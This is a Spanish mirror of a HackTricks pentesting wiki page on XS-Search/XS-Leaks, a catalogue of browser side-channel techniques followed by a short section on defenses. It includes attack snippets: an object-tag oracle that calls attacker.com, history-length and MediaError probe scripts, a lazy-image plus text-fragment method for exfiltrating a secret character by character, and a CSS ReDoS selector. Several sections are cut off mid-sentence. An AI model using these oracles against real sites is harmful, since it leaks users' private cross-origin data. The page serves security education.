Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md

71 KiB
Raw Blame History

XS-Search/XS-Leaks

Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprende hacking en AWS desde cero hasta héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

XS-Search es una técnica orientada a exfiltrar información de origen cruzado abusando de ataques de canal lateral.

Hay diferentes elementos en este tipo de ataque:

  • Web Vulnerable: Es la web de la que queremos exfiltrar información.
  • Web del Atacante: Es la web que el atacante crea conteniendo el exploit y a la que accede la víctima.
  • Método de Inclusión: Es el método utilizado para cargar la Web Vulnerable desde la web del atacante (como window.open, iframe, fetch, etiqueta HTML con href...).
  • Técnica de Leak: Después de acceder a la web vulnerable, se utilizará una técnica para diferenciar entre los posibles estados de la web con la información obtenida del método de inclusión utilizado.
  • Estados: Los 2 posibles estados que puede tener la web vulnerable dependiendo de la víctima que queremos diferenciar.
  • Diferencias Detectables: Esta es la información que el atacante tiene que intentar decidir el estado de la web vulnerable.

Diferencias Detectables

Para distinguir entre los 2 estados de la página vulnerable se pueden observar varias cosas:

  • Código de Estado. Un atacante puede distinguir diferentes códigos de estado de respuesta HTTP de origen cruzado (por ejemplo, errores de servidor, errores de cliente o errores de autenticación).
  • Uso de API. Esta diferencia detectable permite a un atacante detectar el uso de APIs Web a través de páginas, permitiéndole inferir si una página de origen cruzado está utilizando una API Web de JavaScript específica.
  • Redirecciones. Es posible detectar si una aplicación web ha navegado al usuario a una página diferente. Esto no se limita a redirecciones HTTP, sino que también incluye redirecciones activadas por JavaScript o HTML.
  • Contenido de la Página. Estas diferencias detectables aparecen en el cuerpo de la respuesta HTTP en sí o en sub-recursos incluidos por la página. Por ejemplo, esto podría ser el número de frames incluidos (cf. XS-Leak en Gitlab) o diferencias de tamaño de imágenes.
  • Encabezado HTTP. Un atacante puede detectar la presencia de un encabezado de respuesta HTTP específico y puede ser capaz de recopilar su valor. Esto incluye encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
  • Tiempo: Un atacante puede detectar que existe una diferencia de tiempo consistente entre 2 estados.

Métodos de Inclusión

  • Elementos HTML. HTML ofrece una variedad de elementos que permiten la inclusión de recursos de origen cruzado. Elementos como hojas de estilo, imágenes o scripts, obligan al navegador de la víctima a solicitar un recurso no HTML especificado. Hay una lista que enumera posibles elementos HTML para este propósito disponible en línea (https://github.com/cure53/HTTPLeaks).
  • Frames. Elementos como iframe, object y embed pueden incrustar recursos HTML directamente en la página del atacante. Si la página no utiliza protección contra frames, el código JavaScript puede acceder al objeto window del recurso enmarcado a través de la propiedad contentWindow.
  • Pop-ups. El método window.open carga un recurso en una nueva pestaña o ventana del navegador. El método devuelve un manejador de ventana que el código JavaScript puede usar para acceder a métodos y propiedades, que cumplen con la SOP. Estos pop-ups a menudo se utilizan en el inicio de sesión único. Los navegadores modernos solo permiten pop-ups si son activados por ciertas interacciones del usuario. Para los ataques XS-Leak, este método es especialmente útil porque evita las restricciones de framing y cookies para un recurso objetivo. Las versiones más recientes de los navegadores agregaron recientemente medios para aislar los manejadores de ventana.
  • Solicitudes JavaScript. JavaScript permite enviar solicitudes directamente a recursos objetivo. Hay dos formas diferentes para este propósito: XMLHttpRequests y su sucesor Fetch API. A diferencia de los métodos de inclusión anteriores, un atacante tiene un control detallado sobre la solicitud emitida, por ejemplo, si se debe seguir automáticamente una redirección HTTP.

Técnicas de Leak

  • Manejador de Eventos. El manejador de eventos puede considerarse como la técnica de leak clásica para XS-Leaks. Son una fuente bien conocida de varias piezas de información. Por ejemplo, el disparo de onload indica una carga de recurso exitosa en contraste con el evento onerror.
  • Mensajes de Error. Más allá de los manejadores de eventos, los mensajes de error pueden ocurrir como excepciones de JavaScript y páginas de error especiales. Los mensajes de error pueden ser lanzados en diferentes pasos, por ejemplo, directamente por la técnica de leak. La técnica de leak puede usar información adicional directamente contenida en el mensaje de error, o distinguir entre la aparición y ausencia de un mensaje de error.
  • Límites Globales. Cada computadora tiene sus límites físicos, lo mismo ocurre con un navegador. Por ejemplo, la cantidad de memoria disponible limita las pestañas en ejecución de un navegador. Lo mismo ocurre con otros límites del navegador que se aplican a todo el navegador. Si un atacante puede determinar cuándo se alcanza el límite, esto se puede usar como una técnica de leak.
  • Estado Global. Los navegadores tienen estados globales con los que todas las páginas pueden interactuar. Si esta interacción es detectable desde el sitio web del atacante, se puede usar como una técnica de leak. Por ejemplo, la interfaz History permite la manipulación de las páginas visitadas en una pestaña o frame. Esto crea un estado global porque el número de entradas permite a un atacante sacar conclusiones sobre páginas de origen cruzado.
  • API de Rendimiento. La API de Rendimiento se utiliza para acceder a la información de rendimiento de la página actual. Sus entradas incluyen datos detallados de tiempo de red para el documento y cada recurso cargado por la página. Esto permite a un atacante sacar conclusiones sobre los recursos solicitados. Por ejemplo, identificamos casos en los que los navegadores no crearán entradas de rendimiento para algunas solicitudes.
  • Atributos Legibles. HTML tiene varios atributos que son legibles de origen cruzado. Este acceso de lectura se puede utilizar como una técnica de leak. Por ejemplo, el código JavaScript puede leer el número de frames incluidos en una página web de origen cruzado con la propiedad window.frame.length.

Técnicas Basadas en Tiempo

Algunas de las siguientes técnicas van a usar el tiempo como parte del proceso para detectar diferencias en los posibles estados de las páginas web. Hay diferentes formas de medir el tiempo en un navegador web.

Relojes: La API performance.now() permite a los desarrolladores obtener mediciones de tiempo de alta resolución.
Hay un número considerable de APIs que los atacantes pueden abusar para crear relojes implícitos: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animaciones CSS y otros.
Para más información: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

XSinator

XSinator es una herramienta automática para comprobar navegadores contra varios XS-Leaks conocidos explicados en su artículo: https://xsinator.com/paper.pdf
Puedes acceder a la herramienta en https://xsinator.com/

{% hint style="warning" %} XS-Leaks Excluidos: Tuvimos que excluir XS-Leaks que dependen de service workers ya que interferirían con otros leaks en XSinator. Además, elegimos excluir XS-Leaks que dependen de la mala configuración y errores en una aplicación web específica. Por ejemplo, configuraciones erróneas de CrossOrigin Resource Sharing (CORS), fugas de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos. {% endhint %}


Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Técnicas de Manejador de Eventos

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

El ejemplo de código intenta cargar objetos de scripts desde JS, pero otros tags como objetos, hojas de estilo, imágenes, audios también podrían ser utilizados. Además, también es posible inyectar el tag directamente y declarar los eventos onload y onerror dentro del tag (en lugar de inyectarlo desde JS).

También hay una versión sin scripts de este ataque:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

En este caso, si example.com/404 no se encuentra, se cargará attacker.com/?error.

Tiempo de Carga Onload

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Tiempo de Carga Onload + Tarea Pesada Forzada

Esta técnica es como la anterior, pero el atacante también forzará alguna acción para que tome un tiempo relevante cuando la respuesta sea positiva o negativa y medir ese tiempo.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Tiempo de descarga/beforeunload

Los eventos unload y beforeunload se pueden utilizar para medir el tiempo que toma obtener un recurso. Esto funciona porque beforeunload se activa cuando el navegador solicita una nueva navegación, mientras que unload se activa cuando esa navegación realmente ocurre. Debido a este comportamiento, es posible calcular la diferencia de tiempo entre estos dos eventos y medir el tiempo que tardó el navegador en completar la obtención del recurso.

Tiempo de Carga en Marco Aislado + onload

Si una página no tiene Protecciones de Enmarcado implementadas, un atacante puede medir cuánto tiempo toma cargar la página y todos los subrecursos a través de la red. Por defecto, el manejador onload para un iframe se invoca después de que todos los recursos se han cargado y todo el JavaScript ha terminado de ejecutarse. Pero, un atacante puede eliminar el ruido de la ejecución de scripts incluyendo el atributo sandbox en el <iframe>. Este atributo bloquea muchas características incluyendo la ejecución de JavaScript, lo que resulta en una medición de red casi pura.

#ID + error + onload

  • Métodos de Inclusión: Marcos
  • Diferencia Detectable: Contenido de la Página
  • Más información:
  • Resumen: Si puedes hacer que la página de error cuando se accede al contenido correcto y hacer que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
  • Ejemplo de Código:

Supongamos que puedes insertar la página que tiene el contenido secreto dentro de un Iframe.

Puedes hacer que la víctima busque el archivo que contiene "flag" usando un Iframe (explotando un CSRF, por ejemplo). Dentro del Iframe sabes que el evento onload se ejecutará siempre al menos una vez. Entonces, puedes cambiar la URL del iframe pero cambiando solo el contenido del hash dentro de la URL.

Por ejemplo:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Si la primera URL se cargó con éxito, entonces, al cambiar la parte del hash de la URL el evento onload no se activará nuevamente. Pero si la página tuvo algún tipo de error al cargarse, entonces, el evento onload se activará nuevamente.

Entonces, puedes distinguir entre una página cargada correctamente o una página que tiene un error cuando se accede.

Ejecución de Javascript

  • Métodos de Inclusión: Marcos
  • Diferencia Detectable: Contenido de la Página
  • Más información:
  • Resumen: Si la página está devolviendo el contenido sensible, o un contenido que puede ser controlado por el usuario. El usuario podría establecer código JS válido en el caso negativo, y cargar cada intento dentro de etiquetas <script>, por lo que en casos negativos el código del atacante se ejecuta, y en casos afirmativos nada se ejecutará.
  • Ejemplo de Código:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Métodos de Inclusión: Elementos HTML
  • Diferencia Detectable: Código de Estado y Encabezados
  • Más información: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Resumen: Los atacantes pueden observar cuando se aplica CORB si una respuesta devuelve un Content-Type protegido por CORB (y nosniff) con el código de estado 2xx lo que resulta en que CORB elimine el cuerpo y los encabezados de la respuesta. Detectar esta protección permite a un atacante filtrar la combinación del código de estado (éxito vs. error) y el Content-Type (protegido por CORB o no).
  • Ejemplo de Código:

Consulta el enlace de más información para más detalles sobre el ataque.

onblur

Es posible cargar una página dentro de un iframe y usar el #id_value para hacer que la página se enfoque en el elemento del iframe con el id indicado, entonces si se activa una señal de onblur, el elemento ID existe.
Puedes realizar el mismo ataque con etiquetas portal.

Difusiones de postMessage

  • Métodos de Inclusión: Marcos, Pop-ups
  • Diferencia Detectable: Uso de API
  • Más información: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Resumen: Recopilar información sensible de un postMessage o usar la presencia de postMessages como un oráculo para conocer el estado del usuario en la página
  • Ejemplo de Código: Cualquier código que escuche todos los postMessages.

Las aplicaciones a menudo usan difusiones de postMessage para compartir información con otros orígenes. Escuchando estos mensajes se podría encontrar información sensible (potencialmente si no se usa el parámetro targetOrigin). Además, el hecho de recibir algún mensaje puede ser utilizado como un oráculo (solo recibes este tipo de mensaje si estás conectado).


Usa Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Técnicas de Límites Globales

API de WebSocket

Es posible identificar si, y cuántas, conexiones WebSocket utiliza una página objetivo. Permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones WebSocket.

Si un origen utiliza la cantidad máxima de objetos de conexión WebSocket, independientemente de su estado de conexión, la creación de nuevos objetos resultará en excepciones de JavaScript. Para ejecutar este ataque, el sitio web del atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que la web objetivo se ha cargado, intenta crear el número máximo de conexiones WebSocket posibles. El número de excepciones lanzadas es el número de conexiones WebSocket utilizadas por la ventana del sitio web objetivo.

API de Pago

Este XS-Leak permite a un atacante detectar cuando una página de origen cruzado inicia una solicitud de pago.

Debido a que solo se puede activar una solicitud de pago a la vez, si el sitio web objetivo está utilizando la API de Solicitud de Pago, cualquier intento posterior de mostrar esta API fallará, y causará una excepción de JavaScript. El atacante puede explotar esto intentando mostrar periódicamente la interfaz de usuario de la API de Pago. Si un intento causa una excepción, el sitio web objetivo la está utilizando actualmente. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz de usuario después de su creación.

Medir el Bucle de Eventos

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

El modelo de concurrencia de JavaScript se basa en un bucle de eventos de un solo hilo lo que significa que solo puede ejecutar una tarea a la vez.
Inferir cuánto tiempo tarda en ejecutarse el código de un origen diferente midiendo cuánto tiempo tarda en ejecutarse a continuación en el grupo de eventos. El atacante sigue enviando eventos al bucle de eventos con propiedades fijas, que eventualmente se despacharán si el grupo está vacío. Otros orígenes envían eventos al mismo grupo, y aquí es donde un atacante infiere la diferencia de tiempo detectando si ocurrió un retraso con una de sus tareas.

{% hint style="warning" %} En un tiempo de ejecución es posible eliminar factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla. {% endhint %}

Bucle de Eventos Ocupado

  • Métodos de Inclusión:
  • Diferencia Detectable: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
  • Más información: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Resumen: Medir el tiempo de ejecución de una web bloqueando el bucle de eventos de un hilo y midiendo cuánto tiempo tarda el bucle de eventos en estar disponible nuevamente.
  • Ejemplo de Código:

Una de las principales ventajas de esta técnica es su capacidad para eludir la Aislamiento de Sitio, ya que un origen atacante puede influir en la ejecución de otro origen.

{% hint style="warning" %} En un tiempo de ejecución es posible eliminar factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla. {% endhint %}

Grupo de Conexiones

  • Métodos de Inclusión: Solicitudes JavaScript
  • Diferencia Detectable: Tiempo (generalmente debido al Contenido de la Página,
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

La propiedad message de la interfaz MediaError contiene una cadena diferente para recursos que se cargan con éxito. Esto permite a un atacante inferir el estado de la respuesta para un recurso de origen cruzado.

Error CORS

Esta técnica permite a un atacante revelar el objetivo de una redirección que es iniciada por un sitio de origen cruzado.

CORS permite que recursos web públicamente accesibles sean leídos y utilizados desde cualquier sitio web. En navegadores basados en Webkit, es posible acceder a mensajes de error CORS cuando una solicitud CORS falla. Un atacante puede enviar una solicitud habilitada para CORS a un sitio objetivo que redirige basado en el estado del usuario. Cuando el navegador niega la solicitud, la URL completa del objetivo de la redirección se revela en el mensaje de error. Con este ataque, es posible detectar redirecciones, revelar ubicaciones de redirección y parámetros de consulta sensibles.

Error SRI

Un atacante puede revelar el tamaño de las respuestas de origen cruzado debido a mensajes de error detallados.

El atributo de integridad define un hash criptográfico por el cual el navegador puede verificar que un recurso obtenido no ha sido manipulado. Este mecanismo de seguridad se llama Integridad de Subrecursos (SRI). Se utiliza para la verificación de integridad de recursos servidos desde redes de entrega de contenido (CDNs). Para prevenir fugas de datos, los recursos de origen cruzado deben ser habilitados para CORS. De lo contrario, la respuesta no es elegible para validación de integridad. Similar al error CORS XS-Leak, es posible capturar el mensaje de error después de que una solicitud fetch con un atributo de integridad falla. Un atacante puede forzar intencionalmente este error en cualquier solicitud especificando un valor de hash falso. En SA, este mensaje de error revela la longitud del contenido del recurso solicitado. Un atacante puede usar esta fuga para detectar diferencias en el tamaño de la respuesta, lo que permite ataques XS-Leak poderosos.

Violación/Detección de CSP

Un XS-Leak puede usar el CSP para detectar si un sitio de origen cruzado fue redirigido a un origen diferente. Esta fuga puede detectar la redirección, pero además, se revela el dominio del objetivo de la redirección. La idea básica de este ataque es permitir el dominio objetivo en el sitio del atacante. Una vez que se emite una solicitud al dominio objetivo, este redirige a un dominio de origen cruzado. CSP bloquea el acceso a él y crea un informe de violación utilizado como técnica de fuga. Dependiendo del navegador, este informe puede revelar la ubicación objetivo de la redirección.
Los navegadores modernos no indicarán la URL a la que se redirigió, pero aún se puede detectar que se activó una redirección de origen cruzado.

Cache

Los navegadores pueden usar una caché compartida para todos los sitios web. Independientemente de su origen, es posible deducir si una página objetivo ha solicitado un archivo específico.

Si una página carga una imagen solo si el usuario está conectado, puedes invalidar el recurso (para que ya no esté en caché si lo estaba, ver más información en los enlaces), realizar una solicitud que podría cargar ese recurso e intentar cargar el recurso con una mala solicitud (por ejemplo, usando un encabezado referer demasiado largo). Si la carga del recurso no activó ningún error, es porque estaba en caché.

Directiva CSP

Una nueva característica en GC permite a las páginas web proponer un CSP estableciendo un atributo en un elemento iframe. Las directivas de política se transmiten junto con la solicitud HTTP. Normalmente, el contenido incrustado debe permitir esto explícitamente con un encabezado HTTP, de lo contrario se muestra una página de error. Sin embargo, si el iframe ya tiene un CSP y la nueva política no es más estricta, la página se mostrará normalmente.

Esto permite a un atacante detectar directivas CSP específicas de una página de origen cruzado, si es posible detectar la página de error. Aunque, este error ahora está marcado como corregido, encontramos una nueva técnica de fuga que puede detectar la página de error, porque el problema subyacente nunca se solucionó.

CORP

El encabezado CORP es una característica de seguridad de la plataforma web relativamente nueva que, cuando se establece, bloquea las solicitudes de origen cruzado sin CORS al recurso dado. La presencia del encabezado puede ser detectada, porque un recurso protegido con CORP generará un error al ser obtenido.

CORB

Consulta el enlace de más información para más detalles sobre el ataque.

Error CORS en la mala configuración de Reflexión de Origen

En caso de que el encabezado Origin esté siendo reflejado en el encabezado Access-Control-Allow-Origin un atacante puede abusar de este comportamiento para intentar obtener el recurso en modo CORS. Si un error no se activa, significa que fue correctamente recuperado de la web, si se activa un error, es porque fue accedido desde la caché (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante).
Nota que si el origen no se refleja pero se usa un comodín (Access-Control-Allow-Origin: *) esto no funcionará.

Técnica de Atributos Legibles

Redirección Fetch

Al enviar una solicitud usando la Fetch API con redirect: "manual" y otros parámetros, es posible leer el atributo response.type y si es igual a opaqueredirect entonces la respuesta fue una redirección.

COOP

Un atacante puede revelar si el encabezado de Política de Apertura de Origen Cruzado (COOP) está disponible dentro de una respuesta HTTP de origen cruzado.

Las aplicaciones web pueden implementar el encabezado de respuesta COOP para prevenir que otros sitios web obtengan referencias arbitrarias de ventana a la aplicación. Sin embargo, este encabezado puede ser detectado fácilmente intentando leer la referencia contentWindow. Si un sitio solo implementa COOP en un estado, esta propiedad (opener) es indefinida, de lo contrario está definida.

Longitud Máxima de URL - Lado del Servidor

Si una redirección del lado del servidor usa datos de usuario dentro de la redirección y datos adicionales. Es posible detectar este comportamiento porque generalmente los servidores tienen un límite de longitud de solicitud. Si los datos del usuario son esa longitud - 1, porque la redirección está usando esos datos y agregando algo extra, activará un error detectable a través de Eventos de Error.

Si de alguna manera puedes establecer cookies a un usuario, también puedes realizar este ataque estableciendo suficientes cookies (bomba de cookies) para que con el tamaño de respuesta aumentado de la respuesta correcta se active un error. En este caso, recuerda que si activas esta solicitud desde el mismo sitio, <script> enviará automáticamente las cookies (así que puedes verificar errores).
Un ejemplo de la bomba de cookies + XS-Search se puede encontrar en la solución prevista de este informe: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None o estar en el mismo contexto suele ser necesario para este tipo de ataque.

Longitud Máxima de URL - Lado del Cliente

Según la documentación de Chromium, el límite máximo de URL de Chrome es de 2MB.

En general, la plataforma web no tiene límites en la longitud de las URL (aunque 2^31 es un límite común). Chrome limita las URL a una longitud

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Conteo de Marcos

Contar el número de marcos en una web abierta a través de iframe o window.open podría ayudar a identificar el estado del usuario en esa página.
Además, si la página siempre tiene el mismo número de marcos, verificar continuamente el número de marcos podría ayudar a identificar un patrón que podría filtrar información.

Un ejemplo de esta técnica es que en Chrome, un PDF puede ser detectado con conteo de marcos porque internamente se utiliza un embed. Hay Parámetros de URL Abiertos que permiten cierto control sobre el contenido como zoom, view, page, toolbar donde esta técnica podría ser interesante.

HTMLElements

Algunas páginas web pueden generar archivos multimedia dinámicamente dependiendo de la información del usuario o agregar marcas de agua que cambian el tamaño de los medios. Un atacante puede usar información filtrada por esos elementos HTML para distinguir entre estados posibles.

Algunos HTMLElements filtrarán información a orígenes cruzados como el tipo de medios que son:

Propiedad CSS

Las aplicaciones web pueden cambiar el estilo del sitio web dependiendo del estado del usuario. Los archivos CSS de origen cruzado se pueden incrustar en la página del atacante con el elemento de enlace HTML, y las reglas se aplicarán a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede detectar estas diferencias dependiendo del estado del usuario.
Como técnica de filtración, el atacante puede usar el método window.getComputedStyle para leer propiedades CSS de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.

Historial CSS

{% hint style="info" %} Según esto, esto no funciona en Chrome sin cabeza. {% endhint %}

Usando el selector CSS :visited, es posible aplicar un estilo diferente para las URL que han sido visitadas.
Anteriormente era posible usar getComputedStyle() para detectar esta diferencia, pero ahora los navegadores lo previenen devolviendo siempre valores como si el enlace hubiera sido visitado y limitando qué estilos se pueden aplicar usando el selector.
Por lo tanto, puede ser necesario engañar al usuario para que haga clic en un área que el CSS ha afectado, esto se puede hacer usando mix-blend-mode.
También hay formas de hacerlo sin interacción del usuario, como abusar de los tiempos de renderizado, esto funciona porque toma tiempo pintar los enlaces de un color diferente.
Se proporcionó un PoC en un informe de cromo que funciona utilizando múltiples enlaces para aumentar la diferencia de tiempo.

Fuga de X-Frame de ContentDocument

En Chrome, cuando una página no tiene permiso para incrustarse en una página de origen cruzado, porque el encabezado X-FrameOptions (XFO) está configurado para denegar o mismo origen, se muestra una página de error en su lugar. Para objetos, esta página de error puede ser detectada comprobando la propiedad contentDocument. Típicamente, esta propiedad devuelve null porque no se permite el acceso a un documento incrustado de origen cruzado. Sin embargo, debido al renderizado de Chrome de la página de error, se devuelve un objeto de documento vacío en su lugar. Esto no funciona para iframes o en otros navegadores. Los desarrolladores pueden olvidar configurar X-Frame-Options para todas las páginas y especialmente las páginas de error a menudo carecen de este encabezado. Como técnica de filtración, un atacante puede ser capaz de diferenciar entre diferentes estados de usuario comprobándolo.

Detección de Descargas

El encabezado Content-Disposition (Content-Disposition: attachment) indica si el navegador debe descargar el contenido o mostrarlo en línea.

Si solo un usuario registrado podría acceder a una página que descargará un archivo porque está usando el encabezado. Es posible detectar ese comportamiento.

Barra de Descarga

En los navegadores basados en Chromium, cuando se descarga un archivo, se muestra una vista previa del proceso de descarga en una barra en la parte inferior, integrada en la ventana del navegador. Al monitorear la altura de la ventana, los atacantes pueden detectar si se abrió la "barra de descarga".

Navegación de Descarga (con iframes)

Otra forma de probar el encabezado Content-Disposition: attachment es verificar si ocurrió una navegación. Si una carga de página causa una descarga, no se desencadena una navegación y la ventana permanece dentro del mismo origen.

Navegación de Descarga (sin iframes)

Misma técnica que la anterior pero usando window.open en lugar de iframes.

Elusión de Caché HTTP Particionada

{% hint style="warning" %} Esto es por qué esta técnica es interesante: Chrome ahora tiene particionamiento de caché, y la clave de caché de la página recién abierta es: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), pero si abro una página de ngrok y uso fetch en ella, la clave de caché será: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), la clave de caché es diferente, por lo que la caché no se puede compartir. Puedes encontrar más detalles aquí: Ganando seguridad y privacidad al particionar la caché
(Comentario de aquí) {% endhint %}

Si un sitio example.com incluye un recurso de *.example.com/resource entonces ese recurso tendrá la misma clave de caché como si el recurso fuera solicitado directamente a través de navegación de nivel superior. Eso es porque la clave de caché consiste en el eTLD+1 de nivel superior y el eTLD+1 del marco.

Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20ms (por ejemplo) después. Si el origen cambió después de la parada, significa que el recurso estaba en caché.
O simplemente podría enviar algunos fetch a la página potencialmente en caché y medir el tiempo que toma.

Redirección Manual

Fetch con AbortController

AbortController podría combinarse con fetch y setTimeout para detectar tanto si el recurso está en caché como para expulsar un recurso específico de la caché del navegador. Una característica interesante de esta técnica es que la sonda se realiza sin almacenar nuevo contenido en el proceso.

Contaminación de Scripts

Service Workers

  1. El atacante registra un service worker en uno de sus dominios (attacker.com).
<img src=/something loading=lazy >

Por lo tanto, lo que puedes hacer es añadir muchos caracteres basura (Por ejemplo, miles de "W"s) para llenar la página web antes del secreto o añadir algo como <br><canvas height="1850px"></canvas><br>.
Entonces, si por ejemplo nuestra inyección aparece antes de la bandera, la imagen se cargaría, pero si aparece después de la bandera, la bandera + la basura evitarán que se cargue (necesitarás jugar con la cantidad de basura a colocar). Esto es lo que ocurrió en este writeup.

Otra opción sería utilizar el scroll-to-text-fragment si está permitido:

Scroll-to-text-fragment

Sin embargo, haces que el bot acceda a la página con algo como

#:~:text=SECR

Por lo tanto, la página web será algo como: https://victim.com/post.html#:~:text=SECR

Donde post.html contiene los caracteres basura del atacante y la imagen de carga perezosa y luego se agrega el secreto del bot.

Lo que hará este texto es hacer que el bot acceda a cualquier texto en la página que contenga el texto SECR. Como ese texto es el secreto y está justo debajo de la imagen, la imagen solo se cargará si el secreto adivinado es correcto. Así que ahí tienes tu oráculo para exfiltrar el secreto carácter por carácter.

Algunos ejemplos de código para explotar esto: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Carga Perezosa de Imágenes Basada en Tiempo

Si no es posible cargar una imagen externa que podría indicar al atacante que la imagen se cargó, otra opción sería intentar adivinar el carácter varias veces y medir eso. Si la imagen se carga, todas las solicitudes tardarán más que si la imagen no se carga. Esto es lo que se utilizó en la solución de este writeup resumido aquí:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Si se usa jQuery(location.hash), es posible averiguar mediante el tiempo si existe algún contenido HTML, esto se debe a que si el selector main[id='site-main'] no coincide, no necesita verificar el resto de los selectores:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Inyección de CSS

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Defensas

En esta sección puedes encontrar parte de las mitigaciones recomendadas en https://xsinator.com/paper.pdf, sin embargo, hay más mitigaciones en cada sección del wiki https://xsleaks.dev/. Visita ese sitio para más información sobre cómo protegerse contra estas técnicas.

Mitigaciones del Método de Inclusión

  • Elementos HTML. Puede usar el encabezado CORP para controlar si las páginas pueden incrustar un recurso. CORP puede establecerse en same-origin o same-site y bloquea cualquier solicitud cross-origin o cross-site a ese recurso. En el lado del cliente, los navegadores basados en Chromium utilizan el algoritmo CORB para decidir si se deben permitir o denegar las solicitudes de recursos cross-origin.
  • Frames. La principal defensa para prevenir la carga de elementos iframe de recursos HTML es el uso de X-Frame-Options. Alternativamente, la directiva CSP frame-ancestors puede lograr un resultado similar. Si se deniega la incrustación, el método de inclusión no puede detectar una diferencia en las respuestas.
  • Pop-ups. Para restringir el acceso a window.opener, el encabezado de respuesta HTTP COOP define tres valores diferentes: unsafe-none (predeterminado), same-origin-allow-popups y same-origin. Estos valores se pueden usar para aislar pestañas de navegación y pop-ups y así, mitiga técnicas de leak basadas en pop-ups.
  • Solicitudes JavaScript. Las solicitudes JavaScript cross-origin se utilizan a menudo en ataques XS-Leak, porque un atacante tiene control fino sobre la solicitud emitida. Sin embargo, dado que estas solicitudes no están habilitadas para CORS, están sujetas a las mismas restricciones que las solicitudes enviadas por elementos HTML, como scripts o imágenes. Por lo tanto, el impacto de esta técnica de leak también puede ser mitigado por CORP y CORB.

Métodos más genéricos:

